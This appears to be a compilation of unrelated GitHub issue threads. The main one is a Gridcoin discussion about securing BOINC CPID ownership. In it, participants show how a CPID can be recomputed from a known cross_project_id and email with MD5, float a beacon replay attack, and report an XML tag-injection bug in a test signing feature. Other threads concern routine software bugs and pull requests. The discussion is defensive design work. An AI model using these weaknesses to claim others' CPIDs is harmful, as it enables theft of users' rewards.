Improving proof of CPID ownership --> Beacon security improvement brainstorming

 Issue by grctest
Thursday Apr 06, 2017 at 01:07 GMT
Originally opened as https://github.com/Erkan-Yilmaz/Gridcoin-tasks/issues/101

We could potentially significantly simplify the beacon mechanism if we were able to integrate a private/public key generator within the BOINC web server, then get all whitelisted projects to update to include said functionality.
We currently rely on users providing their email address as a form of CPID ownership verification, but an email is not private information, it's effectively a public key that is shared with many web services (and many BOINC projects).
If there was an option to generate a private and public key from within your BOINC profile, then we could verify a broadcast beacon (signed with private key) against your CPID's public key to prove account ownership.
With such a defence, the next level of risk would be if accounts were compromised via phishing or if projects/services are hacked (leading to account compromise) the attacker would have access to the required information. It's still more secure than an email though.
If we also signed the beacon (which contains the above key usage) with an address within the user's Gridcoin client, we would prevent theft of cpids as readvertising the beacon would require ownership of the wallet address. This could potentially result in an inaccessible beacon registration if the user's wallet.dat is lost though. Perhaps this could be an optional additional layer of security..

Potential problem:
User generates keys, successfully advertises beacon, stakes block w/ beacon details, changes key in BOINC project resulting in key mismatch upon block verification at a later date (if we were extracting these keys from the project every day).
Could we reject beacon transactions based on a check against the BOINC project web server for this key?

Any thoughts?
Know of a good PHP key generation library?
Anyone fancy trying to implement this in the BOINC web server then submit a pull request?

 Comment by grctest
Thursday Apr 06, 2017 at 14:10 GMT

Alternatively to creating a public/private key mechanism, we could simply enforce a mandatory requirement to publish a Gridcoin address within your BOINC account, said address would be used to sign your CPID & the network would check the broadcast beacon against the Address listed in the user's BOINC profile.
Rather than utilizing an existing field (profile, username, etc) we could potentially investigate integrating cryptocurrency address fields into the BOINC web server so that it's an available feature in new projects (and any project which is capable of performing such an update).
If we were also able to get a new statistics xml created which contained <GRCAddress, RAC, CPID> and did not contain entries for accounts without a populated GRCAddress (in their profile) then we could scrape this data instead of the users.xml.gz file potentially drastically reducing the amount of data that the Gridcoin network downloads from each BOINC project.
A positive effect of reducing the data downloaded from BOINC projects would be that we could potentially remove the mandatory team requirement without making significant changes to the neural network, as one of the main concerns was the bandwidth drain the Gridcoin network would have placed upon projects when downloading the users.xml.gz files.
This would prove account ownership without the need to supply email address nor prove local account ownership, as if you're able to place a GRCAddress in your BOINC account it's a fact that you have full ownership of the account.
Potentially getting a simple 2FA such as https://www.twilio.com/two-factor-authentication integrated into BOINC would further prevent CPID squatting via phishing.
Thoughts?

 Comment by grctest
Saturday Apr 08, 2017 at 17:21 GMT

A couple users in IRC mentioned the fact that it might be difficult to get BOINC projects to integrate such changes into their project.
If it's an objection to inclusion of Gridcoin or cryptocurrency in general, we should schedule an interview with them to understand why they object to Gridcoin inclusion in the first place.
If many projects don't want a crypto-specific field, it may be more plausible to go the Asymmetric encryption route of generating pub/private keys within the BOINC project.
If projects can't inherit such a change because they are incapable of upgrading their BOINC environment then this raises a serious red flag for increased project whitelist status scrutiny; if they can't do an upgrade, have they properly secured the project in the first place?

 Comment by nateonthenet
Monday Apr 10, 2017 at 15:21 GMT

Rather than asking projects to add crypto-specific fields, you might be better off asking them to add a single generic field where users can paste arbitrary XML or JSON-formatted data. This would be much more useful / flexible and probably politically more palatable, since it provides the potential to work alongside all sorts of third-party software that might want to associate with the user profile and not only Gridcoin / cryptos.

 Comment by grctest
Monday Apr 10, 2017 at 17:16 GMT

Possibly, but what length? The BOINC project wouldn't be able to perform validation against an unknown block of data so it could be open to abuse.
A seperate page which had many crypto fields would be more preferable, however projects such as WCG may outright refuse (as you say because of the politics) ... might be a tough sell to remove WCG from the whitelist, haha!

 Comment by tomasbrod
Tuesday Apr 11, 2017 at 07:21 GMT

I have an idea for secure cpid ownership. Force the user to change cpid :) External cpid is formed by server. Internal cross_project_id is randomly assigned by server, but is changed by client as part of cpid merging procedure.
external_cpid := MD5( hex( cross_project_id ) + email_address )

So we replace cross_project_id with hash of user public key and send it to boinc. On next project update servers use this cross_project_id to generate external_cpid which we can calculate too and verify. Other user hosts may undo our trick (oldest cross_project_id has authority) so they must detach all other hosts and re-attach after the change. To prevent this process from repeating every 6 months, beacon keys should be generated only once. And stored in the wallet as other secret keys not in the config.
cross_project_id := SHA256/128( beacon_pubkey )
external_cpid == MD5( hex( SHA256/128( beacon_pubkey )) + email_address )

 Comment by grctest
Thursday Apr 13, 2017 at 21:59 GMT

Interesting idea @tomasbrod , would this cause an user's statistics to split on boincstats though?
If we did implement such a change, all current owed balances would become inaccessible due to the user's CPID changing, so it's something that would have to be well coordinated.

Other user hosts may undo our trick (oldest cross_project_id has authority) so they must detach all other hosts and re-attach after the change.

This could be a nightmare supporting users in IRC though,

After the recent interview with the TN-Grid project administrator, I don't think we'd be able to get all BOINC projects to integrate a cryptocurrency page if there was any manual involvement required, as many projects might hesitate to add the field due to financial/regulatory concerns.
The TN-Grid admin put it well - "The payment of the users is entirely out of his hands" - where as if the projects were involved in the proof of CPID ownership (through adding cryptocurrency address fields) they would be directly enabling the payment of their users..
Potentially we wouldn't need to get all projects to add this field though, if a few projects added the field then we could prove CPID ownership with several sources.
I think the most agreeable solution for projects which fear regulations/finances would be the private/public key generation within the BOINC project, this could be used for proving CPID ownership for anything, not just crypto.

Some further thoughts:

Generic asymmetric public key field integrated into BOINC web server. This is crypto neutral.
We generate a private and public key within the Gridcoin client.
The user is instructed to paste the public key into the new field in each BOINC project.
If there are multiple unique public keys detected across projects:

The legitimacy of public key should be based upon the potential magnitude (not in NN yet). This prevents theft/squatting of CPIDs by fraudulently registering using your email on more whitelisted projects than the user is legitimately crunching.

Downside: If an attacker's mag outweighs the victim's mag this mechanism will have been detrimental to this cause.

Account age should be taken into account, preventing many recent sign-ups (which have high mag) from outweighing old legit accounts with low mag.
If we can get an 'email verified' field exposed for scraping, we could disqualify non-verified accounts. This would be another hurdle because few projects have email verification implemented.

The user advertises their beacon, signing their CPID with their private key, the clients look up the public key and decrypt proving CPID ownership.

 Comment by tomasbrod
Thursday Apr 13, 2017 at 22:35 GMT

Yes changing CPID would break user stats just like a split cpid. On the other hand staseb.fr allows you to merge cpids and boincstats should show your total credit right.
User balance wont be affected, only the owed amount. A solution is to pay all owed before the change becomes mandatory.
Testing is called for.

 Comment by grctest
Thursday Apr 13, 2017 at 22:42 GMT

A solution is to pay all owed before the change becomes mandatory.

Easier said than done, no individual is in control of GRC reward distribution - users are themselves responsible for staking on a timely basis.
It's possible that we could perform some kind of bail-out from foundation funds for lost 'owed' balances, but that would assume that every Gridcoin user was to make the switch at the same time and without the old-cpid reversal issue occurring afterwards (further increasing lost owed GRC for ongoing computation).
It would also have a couple day fall-out whilst the CPID merges across all projects, which we wouldn't hear the end of in IRC haha!
This migration would only be possible whilst the network is small, if we removed the team requirement and had to perform this for say 50k users it would be a complete nightmare.

 Comment by tomasbrod
Friday Apr 14, 2017 at 08:21 GMT

User sends beacon in the new format signed by both the old and new beacon keys while the old one is still active. The new beacon includes reference to old cpid and requires cpid to be derived in a way described in my previous message. User then starts mining with the new cpid signed by new beacon keys. The network internally merges RAC, Mag and Owed until the old beacon expires.
As a side effect the network will preserve owed amount when user changes his email or other unfortunate event happens that cause his cpid to be changed.
Edit: made a dev wiki to collect datils for this scheme. https://github.com/gridcoin/Gridcoin-Research/wiki/DEV-CPID-Ownership Correct me if I am mistaken but all users should have write access to the wiki?

 Comment by 3ullShark
Thursday Apr 20, 2017 at 08:24 GMT

I'm not sure if this is feasible but I think we should forget about the idea of using the CPID for anything. I like the idea @grctest proposed about generating a private/public key and modifying the BOINC web server to store a public key.
Here's my initial thoughts on what we could do about the CPID.
First we remove the requirement of BOINC being needed on the same machine as the wallet by requiring each project to be added to the wallet through a UI in the wallet. This has the following benefits.

Makes the wallet more secure as it can be installed on a machine seperate from BOINC.
Allows us to prove ownership of each users BOINC account through the wallet.
Since we're not relying on the CPID we can prevent theft of the BOINC users' stats.

The Verification Process

Create a BOINC UI that lets you add projects to the wallet. This would require you to select a project from the whitelist and then enter your project BOINC email and password to authenticate.
On successful auth a private/public key would be generated for the project and the public key would be stored in the public key field on the web server (adding the public key to the users BOINC account could be done by the wallet if we modify the web API).
A beacon would be sent which contains the public key, the project id and user id (BOINC user Id for the project).
The process would repeat for each BOINC project the user adds to the wallet.

I'm not sure why beacons expire but If possible I would make the beacon last forever or until the user tries to attach the project again to a new wallet.
Now the Neural Network would use the project url, the user id and public key to track statistics and verify ownership.
The benefit of not using the CPID and verifying each BOINC project individually would be that the problem @grctest mentioned about CPID theft would be prevented. However it would introduce some new issues like aggregating the users data and potential scaleability issues with the amount of beacons being stored.
Regarding the issue of BOINC projects not allowing us to change the web API. We could potentially store the public key in the user profile. However, it's not ideal because there is no Web API method to retrieve the user profile. We would need to scrape the HTML which is far from ideal and storing it in the profile is less professional.

 Comment by tomasbrod
Thursday Apr 20, 2017 at 12:33 GMT

@tonemackay: Eliminatin the CPID from reward mechanism sounds good. It is insecure MD5 after all.
How do you want to assiciate and verify association of beacon public key and boinc project user ID?

Include beacon keys into exported stats

requires modification of all project servers
would add 253MiB to SETI user.xml and 79MiB to WCG

Include beacon keys on public boinc user page

requires modification of all project servers
requires one request per beacon per project by all neural network nodes

 Comment by 3ullShark
Thursday Apr 20, 2017 at 13:44 GMT

@tomasbrod I'm not sure what the best option would be. Maybe option 2 would be better because the client only needs to query the user id's it knows are in the network.
If we could modify the show_user.php method so it returned it in the XML
<user>
    <id>123</id>
    <cpid>fe0b2753a355b17864ec061eb1b9e8de</cpid>
    <create_time>918948493</create_time>
    <name>Joe Smith</name>
    <country>United States</country>
    <total_credit>3806.869739</total_credit>
    <expavg_credit>200</expavg_credit>
    <expavg_time>1110833427.64028</expavg_time>
    <teamid>114322</teamid>
    <url>example.com</url>
    <has_profile>1</has_profile>
    <public_key>NEW FIELD</public_key>
</user>

If we fail to get a pull request and can't get projects to get on board we could scrape the public key from the user profile HTML page (providing every project has option for user profile).
Example http://gene.disi.unitn.it/test/view_profile.php?userid=1025
Storing in the user profile is not ideal but if we could automate it in the auth process in the wallet and maybe make it look neater users might not mind.

 Comment by tomasbrod
Thursday Apr 20, 2017 at 13:56 GMT

Bear in mind @tonemackay that the checks must be performed by all network nodes, not only the sender. Othervise someone with modified wallet could cheat the system and steal/squat CPIDs.

verify before accepting beacon into block

Every staker receiving a New beacon must make a request to the project website.

verify all beacons in NN

requires one request per every beacon per project by all NN nodes

verify new beacons in NN

requires one request per New beacon per project by all NN nodes

 Comment by grctest
Thursday Apr 20, 2017 at 15:15 GMT

Create a BOINC UI that lets you add projects to the wallet. This would require you to select a project from the whitelist and then enter your project BOINC email and password to authenticate.

This would certainly accelerate the inclusion of the public key in such a field, however it comes at the cost of logging into a 3rd party website through the Gridcoin client as opposed to having the users input the public key into the new field.

First we remove the requirement of BOINC being needed on the same machine as the wallet by requiring each project to be added to the wallet through a UI in the wallet.

We could already do this if we were to rely on a public key being present in the user's profile. If we were to go the route of changing the user's CPID then we may need to require that the BOINC client is present.

Since we're not relying on the CPID we can prevent theft of the BOINC users' stats.
...
The benefit of not using the CPID and verifying each BOINC project individually would be that the problem @grctest mentioned about CPID theft would be prevented.

In order to steal one's CPID you need full access to the users account, in which case you would also be able to steal their earnings if relying on the userid (if their beacon wasn't registered).

However it would introduce some new issues like aggregating the users data and potential scaleability issues with the amount of beacons being stored.

An advantage of using CPID is that it's identical across projects where as userid is unique per project.

Include beacon keys into exported stats

requires modification of all project servers
would add 253MiB to SETI user.xml and 79MiB to WCG

Ideally, if we were able to push changes to the exported stats we could get our own stats file created which simply contained CPID:PublicKey:RAC (reducing amount of data downloaded). With new exported stats we could also push for an alternative data format such as JSON.

 Comment by 3ullShark
Thursday Apr 20, 2017 at 15:41 GMT

@grctest I was under the impression that all you needed to steal a CPID was to know the users email address since the CPID is a hash of the email? If that is the case, then it would not be too hard. I have already given my email to third-parties related to Gridcoin.

 Comment by tomasbrod
Friday Apr 21, 2017 at 17:44 GMT

I traced how the beacon "contract" is created and added the info to wiki. Bacically it is a function of boinc internal cross_project_id, boinc email and some random salt. The CPID is then MD5( hex( cross_project_id ) + boinc_user_email ). To send any beacon, you must provide email and cross_project_id that produces your desired CPID. So the security of the beacon depends on cross_project_id being secret.

 Comment by tomasbrod
Friday Apr 21, 2017 at 19:56 GMT

It relies on email being secret, not cpid.

It depends on email andor cross_project_id being secret. Don't forget that cross_project_id is not cpid. If email address is leaked then you are safe by the cross_project_id. It is kind of secure.
The MagicFunction that transforms email,cross_project_id,blockhash to CPIDv2 look like MD5. In fact the beginning of output is equal to MD5(cross_project_id+email) but there is some woodoo appended to it. It wont be suprise if that extended output reveals more of the input than it should. cpid.cpp needs to be documented. It looks highly suspicious that the file is so obfuscated.

 Comment by grctest
Friday Apr 21, 2017 at 19:07 GMT

So the security of the beacon depends on cross_project_id being secret.

It relies on email being secret, not cpid. But this is still insecure (not as immediately insecure as you suggest, unless you can easily derive the email from the md5?). Additional CPID ownership is required.
Edit: Wait, you make a good point.. can I just clone the data from a transaction then send it again without worrying about email/cpid data from my address to claim the beacon? That would be stupid..
Any replay attack would have to wait until the users beacon was expired though, so it's a rare window. That said, we've got ~2k in NN & 12k in team.. perhaps several opportunities?

 Comment by 3ullShark
Saturday Apr 22, 2017 at 08:32 GMT

@tomasbrod @grctest is the cross_project_id generated on the project server unique to the BOINC user or is it generated as a global ID for the project? If it is unique to the user then it should be secure but if it is per project then all someone needs to do is have a different account for that project to determine the cross_project_id.
Getting the email address is easy. How many users would have used the same email for their BOINC project as signing up for a pool (pool owner knows it)? How many would have used it to sign up for the usecore.net newsletter for the free GRC?

 Comment by Erkan-Yilmaz
Saturday Apr 22, 2017 at 09:23 GMT

Getting the email address is easy. How many users would have used the same email for their BOINC project as signing up for a pool (pool owner knows it)? How many would have used it to sign up for the usecore.net newsletter for the free GRC?

... or team founders (even if we have now a "correct" teamfounder somewhere, in the past another teamfounder had access to emails):
https://github.com/Erkan-Yilmaz/Gridcoin-tasks/issues/55

 Comment by tomasbrod
Saturday Apr 22, 2017 at 10:30 GMT

Is the cross_project_id generated on the project server unique to the
BOINC user or is it generated as a global ID for the project?

This cross_project_id is equal across all projects user is attached to. It is generated by all project server when creating account and sent to boinc client in rpc response. Boinc client selects the oldest cross_project_id and uses that in all rpc requests.
If you attach to pool, you know their cross_project_id and email_hash, which is cross_project_id=22652bdfeb1b5e1ecedc2ac35427542d, email_hash=0557706d8b8c556d367566d1e0952738=MD5("admin@grcpool.com").
If we use the CPID equation, $(echo -n<EMAIL_ADDRESS>|md5sum)
is 7d0d73fe026d66fd4ab8d5d8da32a611,
which is their cpid 7d0d73fe026d66fd4ab8d5d8da32a611.
Also if you attach to pool, or any account manager, they already know strong authenticators to all your projects.

 Comment by tomasbrod
Sunday Apr 23, 2017 at 10:01 GMT

What our crunchers think about changing their CPID in order to continue crunching for gridcoin? Let them vote! @Erkan-Yilmaz what do you think?

 Comment by Erkan-Yilmaz
Sunday Apr 23, 2017 at 10:18 GMT

changing cpid will be again like this:

many ignore/might not see and wonder what went wrong (and complain)

So, if the "new cpid"-system can coexist with the old for a certain time (6 months? b/c that is the time of beacon renewal anyways), this would be ideal.

who does not switch to the "new cpid"-system is in danger of his cpid being stolen, and it's her own fault then for not reading important places

 Comment by grctest
Saturday Apr 29, 2017 at 12:56 GMT

https://github.com/gridcoin/Gridcoin-Research/issues/289

 Comment by grctest
Sunday Apr 30, 2017 at 19:50 GMT

What our crunchers think about changing their CPID in order to continue crunching for gridcoin? Let them vote! @Erkan-Yilmaz what do you think?

I think it's too early to put this to a vote, it needs further discussion & alternative options explored. Changing the CPID could be a massive headache for users if they don't do it properly or if they add an old project to their account manager & it merges to the old CPID. Though, if this new mechanism was able to retire the current beacon deletion process which involves RTMoney it may be less of a headache?
Perhaps the CPID merging process could be in scope for improvement?
I'll raise the topic of improving proof-of-cpid during the BOINC workshop if it occurs this summer.

 Comment by tomasbrod
Sunday Apr 30, 2017 at 20:52 GMT

I found a flaw in my proposal, it is way there and obvious in the equations (email is not public). Actually I prefer @tonemackay idea. It just needs more work. I knew changing the cpid of users is too intense I just wanted to hear "No how dare you to touch the cpid, it will mess up my boinc stats" :)

 Comment by Erkan-Yilmaz
Sunday May 14, 2017 at 15:35 GMT

We talked about this also in our 8th interview (series: "talking with BOINC admins"):

making a future field neutral (not especially for Gridcoin) and thus other teams could use it also for saving info they'd need for their wishes
could help lower the "resistance"

when you will listen to the interview, you will see that the BOINC admin was willing to add an extra table, but needs to ask with colleagues and so first

 Comment by tomasbrod
Tuesday Aug 29, 2017 at 15:30 GMT

I would juat like to let you know, that tere is now a wiki page, collecting proposals forr cpid ownership.
I added a new Secure Account Association proposal or SAAp. It leaves the job of verifying account ownership to Neural Network nodes or Witnesses.

 Comment by tomasbrod
Wednesday Aug 30, 2017 at 15:32 GMT

I forgot to add, that SAAp combines and extends ideas by @grctest and @3ullShark.

 Comment by 3ullShark
Wednesday Aug 30, 2017 at 15:52 GMT

@tomasbrod what are your thoughts on having the key set in the BOINC project via a UI in the wallet that makes you input your BOINC email and password.

https://github.com/BOINC/boinc/pull/2134
https://github.com/BOINC/boinc/issues/2118

I've created a test server with the latest pull request implemented:
http://<IP_ADDRESS>/boincserver/
I'd greatly appreciate trying out the PR's functionality, following the below instructions.
Note: No SSL implemented, do NOT use username/password credentials you use elsewhere (use garbage test username/password).
How to test:

Navigate to the test BOINC server
Create an account
Go to your profile (if you're not already there)
Click the "Generate signature" link beside 'UserID auth' within the 'Account information' section.
Once there, enter whatever you want into the field & click submit.
A download prompt should appear, accept the download.
Verify its contents.

You have full permission to try and break/hack this specific proposed feature.
I look forwards to any suggestions/issues.
Cheers 👍

Bug: Entering </userdata> into the Generate Signature field creates bad XML output.  You should sanitize the inputs for tag escapes.

@barton2526 Can generating bad XML output be an attack vector against the BOINC server? The same effect can be created by changing the XML in notepad manually prior to submitting to a 3rd party app.

the problem is the xml file cannot be properly parsed at all in this case and the signature is malformed as a result.  I can supply more examples if needed.

@barton2526 Third party services will need to be able to reject malformed XML, besides it's not a problem you can impose on others only your own 3rd party app CPID verification attempts.
Your example outputs the following XML:
<boinc_user_id_verification>
 <master_url>http://<IP_ADDRESS>/boincserver/</master_url>
 <userid>8</userid>
 <user_data>test</userdata></user_data>
 <msg>8 test</userdata></msg>
<signature>OWCJZDJGKMJyuz0ogTMjAfQ1OQtvfNxdEKcDizDcbFszE++Va2vOGoa+fbQn+k3/WLrY13ORXlt4AGj9RIRWZNm76zOQq3v5d6PShlH2+j9LGh0XKtp6j8xuUud32wlaJ73k8Kk2eLL7IquOb1D9LDnrKymLSFkKI4ysGryju/th2d0k7zrQEyfMMyhZGpFHiLGzgXIPAll5glGj2aFhdmu52WJq0YNdsMbQAu15lDDH60lLtSCoFKZruv7IflrsuiECIQ1XUUzPA0fvKkqZ9M4y4Risft8W+qnC6stpRjZmDlyV9rM8ixHz/bZVy8GXWlAVPJuilnYD5LlIYtK0Wg==</signature>
</boinc_user_id_verification>

compared to:
<boinc_user_id_verification>
 <master_url>http://<IP_ADDRESS>/boincserver/</master_url>
 <userid>8</userid>
 <user_data>test</user_data>
 <msg>8 test</msg>
 <signature>ggk3QTh2NJvqxkHhgugcC35Vhc2+A7U0JjqSlgZXLFtbnrqM6w0gHwQUXZlaYejjUSy7waORUHsOgIwN+BqFA3wKgr6B91O9pICuRIizMHNFGqrYrIkUzuKI995TdJSuXeiIs+9gxEV26r/wdR3tW1szsYnbOrKgw8OGxOSIR0RmQAiKJuRqGqpwWbDknx45KzqnpiGJukkCKgyHxE+QmwrT5/txDaZ2DTcAWQ4JX3RfmxOQirI+eiwUqnjnmeJsWkEJoEpF+EkzujnR7wts/jJ+ZhX6nxlAla4da6lrr5YaSTHRJhIs87DHcgI/CtsoRV4SFcFKZlUOTLEMVDiHkQ==</signature>
</boinc_user_id_verification>

Open-SSL has signed 8 test</userdata>, so it's not glitched out the contents of the signature. The same XML malformation effect can be achieved by manually editing the file before submitting it for verification within the external application.
Perhaps there are 3rd party signatures which would contain tags?

The output Barton is getting is O.K.. You put bad data in, you get bad data out. Integrity of the server is not compromised. All functions on the data path are specified as binary-safe, as well as the signature (hash) function. The input length is limited. The application should be responsible and it it wants a valid xml, should not provide input with < in it.
The argument against escaping the input string on the server side is that, it introduces a degree of unpredictability. Signature of 'xy<' will not match signature of 'xy<'. Also the escaping function might mangle unknown multi-byte sequences, producing invalid signature.
What could be done, is to make sure the input string is a well-formed XML and throwing error otherwise. But passing the string to a XML validator can IMHO cause more problems than it solves eg: speed.


Update overview.md

the image "rbac-least-privilege.png "should be updated to include management group as a scope

@frachkid : Thanks for your contribution! The author(s) have been notified to review your proposed change.

Hi @frachkid,
Thanks for the feedback. We will update this image when this feature is fully complete.
I going to close this pull request, but let me know if you have any other feedback.
thanks

#please-close


[Monaco]Add option to set font size

Summary of the Pull Request

PR Checklist

[x] Closes: #21884
[ ] Communication: I've discussed this with core contributors already. If work hasn't been agreed, this work might be rejected
[ ] Tests: Added/updated and all pass
[ ] Localization: All end user facing strings can be localized
[ ] Dev docs: Added/updated
[ ] New binaries: Added on the required places

[ ] JSON for signing for new binaries
[ ] WXS for installer for new binaries and localization folder
[ ] YML for CI pipeline for new test projects
[ ] YML for signed pipeline

[ ] Documentation updated: If checked, please file a pull request on our docs repo and link it here: #xxx

Detailed Description of the Pull Request / Additional comments

Validation Steps Performed

Hi @Aaron-Junker , Thanks for opening the PR, but it's showing 128 files changed. Perhaps it's missing a merge from main to recognize the latest Monaco 0.47 is already there?

Hi @Aaron-Junker , Thanks for opening the PR, but it's showing 128 files changed. Perhaps it's missing a merge from main to recognize the latest Monaco 0.47 is already there?

Done

Added a commit for XAML style fixes


exec /usr/sbin/run-vsftpd.sh: no such file or directory

I'm getting the error exec /usr/sbin/run-vsftpd.sh: no such file or directory running docker-compose up --build -d. In my docker-compose.yml file I have only one service, namely ftp-server, which is built pulling the image from fauria/vsftpd:latest.
Any help, please ?

same problem

run-vsftpd.sh not doc encode ,update unix encode


docs: Adding Samples for Add/Remove Bucket Default Owner

Internal issues:

b/219968675 storage_add_bucket_default_owner (JAVA)
b/219968340 storage_remove_bucket_default_owner (JAVA)

LGTM, if either @JesseLovelace or @frankyn could also give this a quick review that'd be great.


Google assistant local api

Description:
Support local api execution for google assistant with local install
Related issue (if applicable): fixes #
Pull request with documentation for home-assistant.io (if applicable): home-assistant/home-assistant.io#<home-assistant.io PR number goes here>
Example entry for configuration.yaml (if applicable):

Checklist:

[ ] The code change is tested and works locally.
[ ] Local tests pass with tox. Your PR cannot be merged unless tests pass
[ ] There is no commented out code in this PR.
[ ] I have followed the development checklist

If user exposed functionality or configuration variables are added/changed:

[ ] Documentation added/updated in home-assistant.io

If the code communicates with devices, web services, or third-party tools:

[ ] The manifest file has all fields filled out correctly. Update and include derived files by running python3 -m script.hassfest.
[ ] New or updated dependencies have been added to requirements_all.txt by running python3 -m script.gen_requirements_all.
[ ] Untested files have been added to .coveragerc.

If the code does not interact with devices:

[ ] Tests have been added to verify that the new code works.

@balloob started on this somewhat. I will need to mess around with cloud again, to support multiple agent users. So dropping the webhook registration.
Think about it, it might actually be more appropriate to open a separate port for this use. Since the normal http port is exposed to internet, and this access doesn't need that at all.

Locked this PR to members only because I am going to link it in a blog post and I don't want to avoid random people +1 spamming it.

Ok

I just rebased it. Will try got some more time to spend on it.

This PR has been running stale for a while now. Closing it up, for now, feel free to re-open when ready to work on it again.


[Bug] - Missing dlls on windows 11 Home

🐛 Bug

To reproduce
Steps to reproduce

Install carpe on a vanilla windows 11 Home.
Run carpe. Notice that it complains about at least 2 missing dll, please find below a screenshot of one of them.

Print screen or Debug/Console error message

Expected Behavior

System information
Please complete the following information:
Carpe v1.0.0
Windows 11 Home, version 23H2
Additional context
I was able to fix installing Visual C++ 2015-2022

https://github.com/0LNetworkCommunity/carpe/releases/tag/v1.0.0-17-canary try this and report back.

@The1OneID fixed. Closing


EM Artifact scans incorrectly

OCR is not able to read the EM main stat value:
texts
(2) ['Sands of Eon\n', 'Elemental Mastery\n']

You are right, I am not sure what we can do to make this more accurate. Perhaps instead of a b/w highpass, we apply a better filter in this section? I would imaging the semi-transparent text being harder to OCR

I tried few standard preprocessing steps and it seems the normal gaussian blur -> dilation -> invert -> threshold is working. We can crop the stars out to be more accurate though, with the histogram we are already doing it.

Result:

Ref taken from<EMAIL_ADDRESS>this as-is worked, corresponding article: https://dev.to/mathewthe2/using-javascript-to-preprocess-images-for-ocr-1jc
Is there any regression test we can run with you know bunch of images?


How it works?

Sorry if I'm dumb but I can't figure out how it works. I understand you need two vending machines to travel from one to another? or just one to travel to a random place? Is there any vid or tutorial?
Thanks!

I tried to place two vendingmachines (it needs a plot pole to settle up) but every time I ask for teleport it works (the visual and noise effect) but player appears at the same place of the vendingmachine (origin), not at the destination one.
On the other hand, sorry for wasting again your time but I can't find the visual demo video you talk about on your answer.

Yo, sorry for the late reply, i rarely check this email.
It should work as intended if you place a teleporter at two different spots
on the map (make sure there is at least 20 meters distance between the two

any closer and the logic can get screwed up).

The logic for handling where to teleport to is done in the teleport.sqf.
and it should be identical to the way its set up on my server (
https://www.battlemetrics.com/servers/arma2/12442138 )
Keep in mind that I am no longer actively developing for arma 2 as I am far
too busy. And I am no longer actively admining this server anymore.
But you can download the server PBO if you join the server, and you should
be able to see that it is all identical, code wise. Also you can verify the
logic on my server if you wish.
Enjoy and good luck
Den fre 3 mars 2023 19:27Bunker Games @.***> skrev:

https://youtu.be/lWdex3iY9VY but the problem persists: can't teleport
from one to another vending machine.
—
Reply to this email directly, view it on GitHub
https://github.com/Marcusmoldev/Arma2_Dayz_Teleporter/issues/1#issuecomment-1453927135,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AJQHNL3JACPVIA4ET3DTKRLW2IZ27ANCNFSM6AAAAAAVBBCFYU
.
You are receiving this because you commented.Message ID:
@.***>


Fix typos

No strong opinion but perhaps it is better to fix typos when touching the code in fact?

Thank you for your contribution. While this stylistic change makes sense on its own, we prefer to make such changes when the related code is touched for other reasons.


Exception when posting wrong Content-Type header to introspection

Greetings!
Issue / Steps to reproduce the problem
There is an unhandled exception when the wrong Content-Type header is specified while POSTing to the introspection endpoint.
Steps to reproduce
Clone the https://github.com/IdentityServer/IdentityServer4.Samples repo
Modify the GetApiResources method to the following:
public static IEnumerable<ApiResource> GetApiResources()
        {
            return new List<ApiResource>
            {
                new ApiResource
                {
                           Name = "api1",
                           DisplayName = "api1",
                           Description = "test",
                           ApiSecrets = new List<Secret> {new Secret("secret".Sha256()) },
                           Scopes =
                           {
                               new Scope("test", "Test")
                               {
                                   Description = "test2",
                                   ShowInDiscoveryDocument = false
                               }
                    }
                }
            };
        }

POST the following payload
POST http://localhost:5000/connect/introspect HTTP/1.1
cache-control: no-cache
Postman-Token: a9b9362f-47ee-4658-957b-c385c889ea48
Content-Type: application/json
Authorization: Basic YXBpMTpzZWNyZXQ=
User-Agent: PostmanRuntime/6.1.6
Accept: */*
Host: localhost:5000
accept-encoding: gzip, deflate
content-length: 0
Connection: keep-alive

You should receive a 500 response back and corresponding stacktrace.
Relevant parts of the log file
info: IdentityServer4.Startup[0]
      You are using the in-memory version of the persisted grant store. This will store consent decisions, authorization codes, refresh and reference tokens in memory only. If you are using any of those features in production, you want to switch to a different store implementation.
dbug: IdentityServer4.Hosting.CookieMiddlewareExtensions[0]
      Using built-in CookieAuthentication middleware with scheme: idsrv
dbug: IdentityServer4.Hosting.CookieMiddlewareExtensions[0]
      Adding CookieAuthentication middleware for external authentication with scheme: idsrv.external
info: Microsoft.Extensions.DependencyInjection.DataProtectionServices[0]
      User profile is available. Using 'C:\Users\john.holmes\AppData\Local\ASP.NET\DataProtection-Keys' as key repository and Windows DPAPI to encrypt keys at rest.
dbug: Microsoft.AspNetCore.Hosting.Internal.WebHost[3]
      Hosting starting
dbug: Microsoft.AspNetCore.Hosting.Internal.WebHost[4]
      Hosting started
Hosting environment: Development
Content root path: C:\code\IdentityServer4.Samples\Quickstarts\1_ClientCredentials\src\QuickstartIdentityServer
Now listening on: http://localhost:5000
Application started. Press Ctrl+C to shut down.
dbug: Microsoft.AspNetCore.Server.Kestrel[1]
      Connection id "0HL6NNDF8T63S" started.
dbug: Microsoft.AspNetCore.Server.Kestrel[1]
      Connection id "0HL6NNDF8T63T" started.
dbug: Microsoft.AspNetCore.Server.Kestrel[6]
      Connection id "0HL6NNDF8T63T" received FIN.
dbug: Microsoft.AspNetCore.Server.Kestrel[10]
      Connection id "0HL6NNDF8T63T" disconnecting.
dbug: Microsoft.AspNetCore.Server.Kestrel[7]
      Connection id "0HL6NNDF8T63T" sending FIN.
dbug: Microsoft.AspNetCore.Server.Kestrel[8]
      Connection id "0HL6NNDF8T63T" sent FIN with status "0".
dbug: Microsoft.AspNetCore.Server.Kestrel[2]
      Connection id "0HL6NNDF8T63T" stopped.
info: Microsoft.AspNetCore.Hosting.Internal.WebHost[1]
      Request starting HTTP/1.1 POST http://localhost:5000/connect/introspect application/json 0
dbug: Microsoft.AspNetCore.Authentication.Cookies.CookieAuthenticationMiddleware[9]
      AuthenticationScheme: idsrv was not authenticated.
dbug: IdentityServer4.Hosting.EndpointRouter[0]
      Request path /connect/introspect matched to endpoint type Introspection
dbug: IdentityServer4.Hosting.EndpointRouter[0]
      Mapping found for endpoint: Introspection, creating handler: IdentityServer4.Endpoints.IntrospectionEndpoint
info: IdentityServer4.Hosting.IdentityServerMiddleware[0]
      Invoking IdentityServer endpoint: IdentityServer4.Endpoints.IntrospectionEndpoint for /connect/introspect
trce: IdentityServer4.Endpoints.IntrospectionEndpoint[0]
      Processing introspection request.
dbug: IdentityServer4.Endpoints.IntrospectionEndpoint[0]
      Starting introspection request.
trce: IdentityServer4.Validation.ApiSecretValidator[0]
      Start API validation
